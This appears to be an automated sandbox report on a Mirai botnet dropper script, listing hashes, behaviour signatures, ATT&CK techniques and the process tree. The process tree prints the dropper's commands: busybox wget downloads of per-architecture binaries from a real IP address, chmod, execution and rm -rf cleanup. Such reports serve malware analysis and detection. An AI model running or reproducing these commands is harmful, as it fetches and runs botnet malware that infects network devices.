Analysis
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max time kernel
138s -
max time network
162s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
08/03/2025, 07:20
General
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Target
51b1d643a14b5c081b4a836bb80812e7866811ab8f90cf8ace4744565408d16a.sh
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Size
1KB
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MD5
a9f753da46e0678e9652f1417378e79a
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SHA1
19bf100cae7a6a8fa9a42d0368ff1918c9b796ac
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SHA256
51b1d643a14b5c081b4a836bb80812e7866811ab8f90cf8ace4744565408d16a
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SHA512
3969653a243f80154bbca0045c35e3e8e0b47fdc85bcc13c8887c24e2c207dfd92e3265393ea7d8a28347c67d69501a0d7a2aa2247e116a0705d33731bdce636
Malware Config
Extracted
mirai
BOTNET
Signatures
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Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
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Mirai family
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Contacts a large (140863) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 12 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
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Renames itself 2 IoCs
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Unexpected DNS network traffic destination 2 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
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Enumerates active TCP sockets 1 TTPs 2 IoCs
Gets active TCP sockets from /proc virtual filesystem.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads process memory 1 TTPs 64 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
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Changes its process name 2 IoCs
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Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/51b1d643a14b5c081b4a836bb80812e7866811ab8f90cf8ace4744565408d16a.sh/tmp/51b1d643a14b5c081b4a836bb80812e7866811ab8f90cf8ace4744565408d16a.sh1⤵
- Executes dropped EXE
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm -O jklarm2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox chmod +x jklarm2⤵
- File and Directory Permissions Modification
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/tmp/jklarm./jklarm exploit2⤵
- Modifies Watchdog functionality
- Renames itself
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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/bin/busybox/bin/busybox rm -rf jklarm2⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm5 -O jklarm52⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox chmod +x jklarm52⤵
- File and Directory Permissions Modification
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/tmp/jklarm5./jklarm5 exploit2⤵
- Modifies Watchdog functionality
- Renames itself
- Enumerates active TCP sockets
- Reads process memory
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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/bin/busybox/bin/busybox rm -rf jklarm52⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm6 -O jklarm62⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox chmod +x jklarm62⤵
- File and Directory Permissions Modification
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/tmp/jklarm6./jklarm6 exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklarm62⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm7 -O jklarm72⤵
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/bin/busybox/bin/busybox chmod +x jklarm72⤵
- File and Directory Permissions Modification
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/tmp/jklarm7./jklarm7 exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklarm72⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklm68k -O jklm68k2⤵
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/bin/busybox/bin/busybox chmod +x jklm68k2⤵
- File and Directory Permissions Modification
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/tmp/jklm68k./jklm68k exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklm68k2⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklmips -O jklmips2⤵
- System Network Configuration Discovery
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/bin/busybox/bin/busybox chmod +x jklmips2⤵
- File and Directory Permissions Modification
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/tmp/jklmips./jklmips exploit2⤵
- System Network Configuration Discovery
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/bin/busybox/bin/busybox rm -rf jklmips2⤵
- System Network Configuration Discovery
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklmpsl -O jklmpsl2⤵
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/bin/busybox/bin/busybox chmod +x jklmpsl2⤵
- File and Directory Permissions Modification
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/tmp/jklmpsl./jklmpsl exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklmpsl2⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklppc -O jklppc2⤵
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/bin/busybox/bin/busybox chmod +x jklppc2⤵
- File and Directory Permissions Modification
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/tmp/jklppc./jklppc exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklppc2⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklsh4 -O jklsh42⤵
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/bin/busybox/bin/busybox chmod +x jklsh42⤵
- File and Directory Permissions Modification
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/tmp/jklsh4./jklsh4 exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklsh42⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklspc -O jklspc2⤵
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/bin/busybox/bin/busybox chmod +x jklspc2⤵
- File and Directory Permissions Modification
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/tmp/jklspc./jklspc exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklspc2⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklx86 -O jklx862⤵
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/bin/busybox/bin/busybox chmod +x jklx862⤵
- File and Directory Permissions Modification
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/tmp/jklx86./jklx86 exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklx862⤵
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/bin/busybox/bin/busybox wget http://176.65.134.5/jklarc -O jklarc2⤵
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/bin/busybox/bin/busybox chmod +x jklarc2⤵
- File and Directory Permissions Modification
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/tmp/jklarc./jklarc exploit2⤵
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/bin/busybox/bin/busybox rm -rf jklarc2⤵
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/bin/busybox/bin/busybox rm -rf wget.sh2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
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Downloads
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Filesize
55KB
MD5847591420784f8bcc57bcf33d3f8e004
SHA1f71e70254abfc295d9e6a352969172e06b6af496
SHA256e7c7bf7f0aed9d07e10b900c9a8adc81983223967f409781520f9c9d1e5a36d6
SHA5122da171c5e78f3e17195341577af0438266a25a59c64034736198bc1e9724c551f91e3da2335eb00b3a9b857407d94a69fb752a64c2e5edd05debb46546d73270
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Filesize
55KB
MD513646cedba2b07cac40f1722c5ef9bb1
SHA132ed76ad7e47f7919f7c8909321645cdcfeabe8b
SHA256e2f8212e25b5c981e0be92428f013b289c4e2af6198d8414ed91c343ee1987df
SHA512ce7bc090d5266283748f16be2b434a85a43ed5dff513d762653afc365872a360611fbd0dbfbce0628794d26e3a1a7a0a319c5039b74f74db7996acf5a864ed87
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Filesize
65KB
MD550bdc79e8119ec3deef4549fe78f959f
SHA1b3898231d6b7d044566190bf2cbd04b1b20b7540
SHA256cfee0df1ce4a388193fe3dd0dab48f4db9da05f67f7ccf0ba35fc8fcee38d397
SHA512acb4a121ea03208cb12501aa332e4987841540a95703d7dac292fc766ed2b0b05e17343484c7c4a7d8c01d5952ea05b02964e72bf107f5fe0ffe51522f01875b